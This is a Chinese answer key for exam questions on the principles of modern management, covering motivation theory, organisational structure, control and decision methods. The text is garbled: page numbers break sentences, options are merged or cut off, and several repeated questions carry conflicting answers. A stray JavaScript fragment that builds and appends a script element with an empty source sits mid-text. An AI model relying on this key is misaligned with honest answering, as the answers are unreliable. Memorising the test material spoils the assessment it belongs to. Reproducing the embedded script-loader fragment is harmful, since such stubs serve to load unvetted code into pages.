1、电大答案现代管理学原理按字母顺序整理一单项选择A打头1.按照功能进行分类的沟通类型中，（B情感式沟通）具有润滑剂的作用。B打头1被称为“组织理论之父”的管理学家是（D马克斯韦伯）。2.不属于克服沟通障碍的组织行动有（D）。A营造一种坦诚和信任的组织气氛B鼓励使用多远沟通渠道C全方位地开发并使用正式的渠道D使用反馈技巧3表扬，赞赏，增加工资、奖金及奖品，分配有意义的工作等行为在强化理论中属于（A积极强化）。4.比较严峻的外部环境在一定程度上会助长（C）C.集权5.比较马斯洛的“需要层次论”和赫茨伯格的“双因素理论”，属于激励因素的是（A）A.自我实现与自尊需要6.不适合进行事后控制的产品是（B）
2、B.胶卷7.把相似的作业任务编在一起形成一个单位，是按照（C）划分部门C.职能C打头1.常见的风险型决策方法有（D。）A.德尔菲法B.哥顿法C.头脑风暴法D.决策树法2.成就需要理论一般适用于（A）的研究。A.主管人员B.技术人员C.普通员工D.一线员工3处理冲突策略中最有效的方法是（D解决问题）4.粗略划分，管理有（ABCD）职能。A.计划B.组织C.领导D.控制5.从管理方格理论中，我们体会到，欲使领导工作卓有成效则应（C）A.采取集权领导注重完成任务B.注重和谐的人际关系C.注重组织目标的达成和对职工的关心D.充分发挥激励作用6.从期望理论中，我们得到的最重要的启示是（D）A.目标效率高
3、低是激励是否有效的关键B.期望概率的高低是激励是否有效的关键C.存在着负效率，应引起领导者注意D.应把目标效率和期望概率进行优化组合7.促使人们去做某件事的激励力的大小，取决于（C）A.目标价值B.实现目标的可能性C.前两者的乘积D.前两者之和D打头1.当预测者能够得到足够的准确数据资料时，采用（A）是可取的方法。A.定量预测B.宏观预测C.定性预测D.微观预测2.（B）的最大的优点在于它持久、有形、可以核实。A.口头沟通B.书面沟通C.非语言沟通D.电子媒介沟通3.当领导者面对一个非处理不可的事情时，不直接处理，而是先搁一搁，去处理其他问题。这种调适人际关系的方法就是（B）。A不为法B转移法
4、C换位法D糊涂法4.当管理者接待来访者、参加剪彩仪式等社会活动时，他行使的是（D精神领袖）的角色。5.对于基层管理者来说，具备良好的（C技术技能）是最为重要的。6.当外部环境具有很高的不确定性时，计划应是指导性的，同时计划期限也应该（B.更短）。7.对各种商品的规格、销量、价格的变动趋势等进行的预测就是（B.市场预测）。6戴维斯等学者指出，企业目标可以分为主要目标、并行目标和次要目标等多种类型。（B主要目标）由企业性质决定，是贡献给企业顾客的目标。8.当领导者面对一个非处理不可的事情时，不直接处理，而是先搁一搁，去处理其他问题。这种调适人际关系的方法就是（C缓冲）。9.(C书面沟通)的最大的优
5、点在于它持久、有形、可以核实。10.导致组织冲突产生的基本原因中，（B组织中个体差异的客观存在）是由于组织中的每个人的家庭环境、教育背景、经历、禀赋等都各不相同而导致的。11.定性预测主要依靠专业人员用多年积累的知识和经验，对有关事物远期的变化趋势进行描述，需要进（D.长期预测）。12对于营利性组织来说，（B降低成本）是提高组织经济效益或获取价格优势的基本途径。13对供应商的评价中，（C协同能力）主要涉及的是供应商响应买房需求变化的能力。14.“大河有水小河满”和“小河有水大河干”说明（D）A.人们看问题的角度不同B.人们所持的心态不同C.系统的结构决定了系统的整体功能D.系统的整体功能不等于
6、个体功能之和15.当代最新的计划形成方法是（C）C.从下往上的形成方法16.“大全独揽，小权分散”，这一常用语与管理的（D）相接近？A.分工原则B.责权一致原则C.统一指挥原则D.分权原则E.经济原则17.当领导的管理能力较强，下属的工作能力也较高时，则（D）A.管理幅度应该大些B.管理幅度应该小些C.管理层次应该多些D.管理组织应该松散些18.对于科研院所等研究项目较多、创新功能较强的组织或企业，以下哪一种组织形式最合适？（C）C.矩阵制19.对“领导的本质就是组织成员的追随与服从”的正确的解释是（A）将组织目标与成员个人目标很好地结合起来，实现有效的领导运用职权让组织成员按领导者意图办事运
7、用奖励权激励成员实现组织目标运用惩罚权强制组织成员遵守规章制度20.独裁主义气氛比较浓厚的组织中信息沟通的主要方式可能是（A）A.自上而下B.自下而上C.横向交叉D.非正式沟通21.对于组织解决复杂问题最有效的沟通方式是（B）B.全通道式沟通网络。22.对于建立控制标准，哪一种说法不恰当？(C.建立的标准不可以更改)F打头1.“凡事预则立，不预则废”，说的是（A）的重要性。A计划B预测C预防D组织2.法约尔提出的管理五项职能或要素是（C计划、组织、指挥、协调和控制）。F3.（D投资收益率）反应企业资产创造利润的效率。1,法约尔是古典组织理论的创始人，他提出过著名的管理五大职能，在计划、组织、控
8、制、领导、协调五个职能中，（D）职能是法约尔没有提到的。A.计划B.组织C.控制D.领导E.协调4.非正式组织是指（C）未经上级主管机关正式批准的组织未在有关部门登记的组织由于价值观、性格、爱好等的趋同而自发形成的组织由于价值观、性格、爱好等的趋同而被上级机关批准成立的组织5.非确定型决策的问题的主要特点在于（B）A.各方案所面临的自然状态未知B.各自然状态发生的概率未知C.各方案在各自然状态下的损益未知D.各自然状态发生的概率已知G打头1.“管理就是决策”是下列哪位经济学家的观点？（D）A.泰罗B.法约尔C.韦伯D.西蒙2.根据强化理论，职工努力工作是为了避免不希望得到的结果，这就是（D）。
9、A自然消退B惩罚C正强化D消极强化3.工作丰富化的重点是（A）。A一般专业人员B高层次的管理人员C高层次的专业人员D一般操作人员4.“管理的十四项原则”是由（B亨利法约尔）提出来的。5.古典管理理论对人性的基本假设，认为人是（B经济人）。6.关于领导者与管理者的权力来源，下列描述准确的是（C管理者的权力源自职位）。7.管理方格理论提出了五种最具代表性的领导类型，其中，（C1-9）又称俱乐部式领导者，这种领导方式对业绩关心少，对人8.根据赫塞布兰查德提出的情境领导理论，在下属虽然有积极性，但缺乏足够的技能的情况下，应采用的领导风格是（A高工作高关系）。9.根据强化理论，职工努力工作是为了避免不希
10、望得到的结果，这就是（C消极强化）。10.工作丰富化的重点是(C一般专业人员）。11.沟通的深层次目的是(D激励或影响人的行为)。12管理的各项职能构成了一个完整的管理循环过程，而（B控制）始终是一次管理循环过程的终点，同时又是新一轮管理循环过程的起点。13.管理的职能也就是管理工作中所包含的几类基本活动。这些基本活动具有（CD）的性质。A.彼此独立，分别由不同的部门人员担当B.各不相同，分别由不同层次的人担当C.在空间和时间上彼此交融，每一个主管人员都要承担这些活动D.形式不同而本质相同14.根据明茨伯格的“十角色理论”，管理者在人际关系方面主要扮演（B）角色。A.监听者B.联络者C.传播者
11、D.发言人15.关于非正式组织如下说法中，哪一种是不正确的？（C）A.非正式组织既可对正式组织目标的实现起到积极的作用，也可产生消极影响B.非正式组织的积极作用在于可以提供员工在正式组织中很难得到的心理需要满足C.非正式组织对正式组织目标的实现有不利的影响，应该取缔D.非正式组织的消极作用的一个方面在于非正式组织的压力有时会造成组织创新的惰性。16.管理的计划职能的主要任务是要确定（C）A.组织结构的蓝图B.组织的领导方式C.组织目标以及实现目标的途径D.组织中的工作设计17.根据Y理论，你认为持此理论观点的管理者在为下属制定计划时，会倾向于哪一类计划？（D）A.战略计划B.具体计划D.综合性
12、计划D.指导性计划18.公司总经理把产品销售的责任和权力委派给一位副总经理M，但同时又要求各地经销部的经理直接向公司总会计师K汇报当天的销售指标，K可以直接向各地经销部经理下达指令。总经理的这种做法违反了管理中的（B统一指挥原则）原则？19.过去企业内部各分厂（车间）之间是“无偿”提供零部件或半成品，现在企业内部管理体制改革，各分厂实行独立核算，各分厂（车间）之间零部件半成品的转移按内部结转价格核算，这体现的组织管理思想是（B分权管理）。20.过渡集权的弊端是（C）A.降低组织的适应能力B.降低决策质量和员工的工作热情C.A+BD.降低生产能力21.管理层次的存在是由于（A管理幅度的存在）22
13、.管理者的管理跨度，随着管理层次的不同，其一般变化规律是（C）A.高层管理跨度中层管理跨度基层管理跨度B.高层管理跨度=中层管理跨度=基层管理跨度C.高层管理跨度中层管理跨度中层管理跨度基层管理跨度23.工业企业的生产管理，在企业经营系统中属于（C）A.最高管理层B.中间管理层C.现场管理层D.上述三种都不对24.关于扁平式组织结构，下列说法中正确的是（B）A.它是指管理层次多而管理幅度小的一种组织结构形态B.它有利于缩短上下级距离、密切上下级关系、降低管理费用C.它更有可能使信息在传递过程中失真D.它不适合于现代企业组织 var script = document.createElement
14、(script); script.src = document.body.appendChild(script); 225.国内不少企业集团，管理机构庞大，人浮于事，虽然时常有精简的措施和计划，但收效并不明显，主要原因可能是（C）A.当领导的不愿为组织承担责任B.管理制度、机制不健全C.机构臃肿，责权不明D.领导能力不行26.根据权变理论，领导是否有效取决于（C）A.稳定的领导行为B.领导者的品质权威27.领导者能否适应其所处的具体环境D.是专制型领导还是民主型领导28.根据赫茨伯格的双因素理论，工作条件属于（D）.A.正强化因素B.激励因素C.负强化因素D.保健因素29.工作丰富化的管理措施
15、是根据（A）提出来的。A.双因素理论B.期望理论C.公平理论D.需要层次论30.关于非正式沟通的如下说法中，哪一种是正确的？（B）A.非正式沟通必须具备发送者和接受者这两个要素，所传递的内容无关紧要B.非正式沟通必须同时具备发送者、接受者和所传递的内容三个要素C.非正式沟通的流向是自上而下的D.非正式沟通的流向是自下而上的31.管理需要信息沟通，而信息沟通必需具备的三个关键要素是（C）A.传递者、接受者、信息渠道B.发送者、传递者、信息内容C.发送者、接收者、信息内容D.发送者、传递者、接收者32.管理是通过（D）促使能量和物质进行流动。A.机构体制B.政策和法规C.人D.信息33.“根据过去
16、工作的情况，去调整未来活动的行为。”这句话是对下述哪种控制的描述？B反馈控制H打头1.海尔公司原来以生产冰箱为主，后来又引进空调生产线，这是（B）的发展战略。A.一元化B.关联多元化C.无关联多元化D.复合多元化2.赫茨伯格提出的双因素理论认为（A保健因素）不能直接起到激励的作用，但能防止人们产生不满情绪。3.“好的管理者能变草成金，差者则相反”。这反映了管理学理论中的（C）A.领导素质理论B.领导特性理论C.管理万能论D.管理象征论4.赫兹伯格的双因素理论中,所谓保健因素一般指与工作环境有关的因素，其特点是（C）。A得不到没有满意,也未必不满意B.得不到则满意,得到也未必满意C.得不到则不满
17、意,得到则没有不满意D.得不到则不满意,得到则满意J打头1.就管理的职能而言，法约尔认为（C）A.管理就是决策B.管理就是要确切地知道要别人干什么，并指导他们用最好最经济的方法去干C.管理就是实行计划、组织、指挥、协调和控制D.管理就是经由他人去完成一定的工作2.矩阵式组织属于（B）组织结构。A.机械式B.有机式C.直线式D.平行式3.即时控制通常指的是（A。）A.现场控制B.前馈控制C.反馈控制D.全面控制4.决策的第一步是（C）。A拟定备选方案B确定决策原则C识别问题D确定决策目标5.计划工作总是针对需要解决的新问题和可能发生的新变化、新机会而做出决策，这就是它的（C.创新性）性质。6.计
18、划工作的前提是（B.预测）。7.决策者将组织外部环境与内部环境分析的结果进行综合、比较，寻找二者的最佳战略组合，为战略制定和战略决策提供更为直接的依据。这就是（BSWOT分析）。8.就组织的发展战略形式而言，可口可乐公司采用的是（D密集型发展战略）。9.决策的第一步是（D识别问题）。10.决策的前提是（A识别问题）。11.（D莱普勒斯法）决策方法也叫思维共振法、畅谈会法。12激励方法得当，有利于激发和调动职工的积极性。根据美国哈佛大学的心理学家詹姆士在对职工的研究中发现，按时计酬的职工的能力仅能发挥20%-30%，而受到激励的职工的能力可发挥到（C80%-90%）。13即时控制通常指的是（A现
19、场控制）。14进行质量控制，首先应该掌握（C全面质量管理方法）。15基层管理者常用的控制方法是（B直接监督或巡查）。16.将管理要素按目标的要求结合成一个整体，体现了管理的（B）职能。A.计划B.组织C.领导D.控制17.基层管理人员必须具备（ABC）技能A.技术技能B.人事技能C.概念技能D.协调技能18.计划职能的主要作用是（D）A.确定目标B.管理C.确定实现目标的手段D.A和C19.矩阵结构这种组织形式适用于（C）A.工作内容变动频繁的组织B.工作内容比较稳定的组织C.每项工作的完成需要技术知识比较单一的组织D.每项工作的完成需要人手较多的情况20.俱乐部型的领导在工作中主要表现出（A
20、）更多地关心职工的工作与生活和较少地注意管理效率的提高在更多地关心职工的工作与生活的同时，也非常注意管理效率的提高虽不大关心职工的工作与生活，但却非常注意管理效率的提高既不大关心职工的工作与生活，也不注意组织管理效率的提高21.就马斯洛的“需要层次论”和赫茨伯格的“双因素理论”相比较而言，（C）。A.生理需要相当于保健因素B.生理和安全需要相当于保健因素C.生理、安全和社交需要相当于保健因素D.生理、安全、社交和尊重需要相当于保健因素22.进行控制时，首先要建立标准。关于建立标准，下列四种说法种哪一种有问题？（A）A.标准应该越高越好。B.标准应考虑实施成本。C.标准应考虑实际问题。D.标准应
21、考虑顾客需求。K打头1.考评管理人员的协作精神主要通过向（D）获取信息。A.上级部门B.主管部门C.下属部门D.关系部门2.考评管理人员的协作精神主要通过向（B.关系部门）获取信息。K8控制工作应当着眼于组织发展的整体需要，这就要求控制应具有（A全局观念）。3.（B运营能力）控制能够反映企业的资金周转情况，进而使管理者了解企业的经营管理水平。4.可以依据（A）把计划分为战略计划、管理计划、业务计划。A.决策层次B.对象C.时间D.范围5.考察一个组织分权程度的关键在于（D）A.按地域设立部门B.按职能设立部门C.按顾客设立部门D.决策权或命令权是保留还是下放6.可以使组织成员的行为得到改善的办
22、法是（D）A.认可、奖励或劝告等B.批评、降薪或开除等C.对不合理的行为不予理睬D.上述三者均可7.控制工作得以开展的前提条件是（A）。A.建立控制标准B.分析偏差原因C.采取矫正措施D.明确问题性质L打头1.领导者以自身的专业知识、个性特征等影响或改变被领导者的心理和行为的力量是他的（D自身影响力）。关心多，努力营造一种人人放松的环境。2.领导的实质在于影响，构成领导者非权力性影响力的因素包括这样几个方面（A）。A品德、学识、能力、情感B品德、学识、能力、资历C品德、学识、资历、情感D品德、学历、能力、情感3.乐观决策原则的理论基础是（A）A.假定未来状态中的最有利情况必然发生B.假定未来状
23、态中的最不利情况必然发生C.假定未来状态中的最有利情况肯定不发生D.假定未来状态中的各种情况以同等可能发生4.领导者采用何种领导风格，应当视其下属的“成熟”程度而定。当某一下属既不愿也不能负担工作责任，学识和经验较少时，领导对于这种下属应采取如下哪种领导方式？（A）A.命令型B.说服型C.参与型D.授权型5.领导者运用权力的最重要原则是（B）A.慎重原则B.公正原则C.例外原则D.有权不用过期作废M打头1.某企业在下年度有甲、乙、丙三种产品方案可供选择，每种方案都面临畅销、较好、一般和滞销四种状态，每种状态的概率和损益值如下表所示：A方案畅销较好一般滞销概率市场状态0.40.20.30.1甲1
24、1080500乙90604020丙70503010A.甲B.乙C.丙D.甲和乙2.M型结构又称为多部门结构，亦即（A。）A.事业部制结构B.职能制结构C.直线职能制结构D.矩阵制结构3.某销售人员去年销售额为200万元，企业为其制定了本年度的销售额指标为1500万，在今年市场情况没有特别大的变化的情况下，这样的标准显然不符合控制标准的（D）要求。A.目的性B.协调一致性C.可检验性D.可行性4.某企业拟开发新产品，有三种设计方案可供选择，各种方案在各种市场状态下的损益值如下表所示：畅销一般滞销甲654540乙80500丙12040-40则，用折中法选取的最优方案为（A）。设：最大值系数为0.7
25、）A丙B乙C甲D甲和丙5.某企业将2006年本企业的历史最高利润额作为本年度的利润指标，这在控制标准中属于（B）。A计划标准B历史标准C最高标准D年度标准6.目标的确定要建立在对企业内外环境进行充分分析的基础上，并通过一定的程序加以确定，既要保证目标的科学性又要保证其可行性。这就是确定目标的（A现实性）原则。7.目标管理是一个全面的（A管理系统），它用系统的方法，使许多关键活动结合起来。8.目标建立过程中要注意，目标数量要适中。一般地，要把目标限制在（B5个）以内。9.目标管理理论的理论基础是（D科学管理理论与行为科学理论的有效统一）。10某企业试图改变其经营方向，需要企业高层领导做出决策，这
26、种决策属于（A.战略性决策）。11.某企业生产某种产品，固定成本为15万元，单位可变成本为1000元，每台售价2200元，则该产品的盈亏平衡点是（C125台台）。12.某产品有三个生产方案，其成本状况为：甲方案固定成本为5000，单位变动成本为100；乙方案固定成本为12000，单位变动成本为60；丙方案固定成本为30000，单位变动成本为30。若丙方案为最佳方案，则产量为（D.700）。13.某公司生产某产品的固定成本为50万元，产品单位售价为80元，本年度产品定单为10000件。据此，单位可变成本降到（D30）元/件时才不至于亏损。14.某公司生产某产品的固定成本为30万元，单位可变成本为30元，产品单位售价为45元，如果现在的产销量为25000件，则该公司的经营安全状况属于（C不太好）。15.某企业在下年度有甲、乙、丙三种产品方案可供选择，每种方案都面临畅销、较好、一般和滞销四种状态，每种状态的概率和损益值如下表所示：
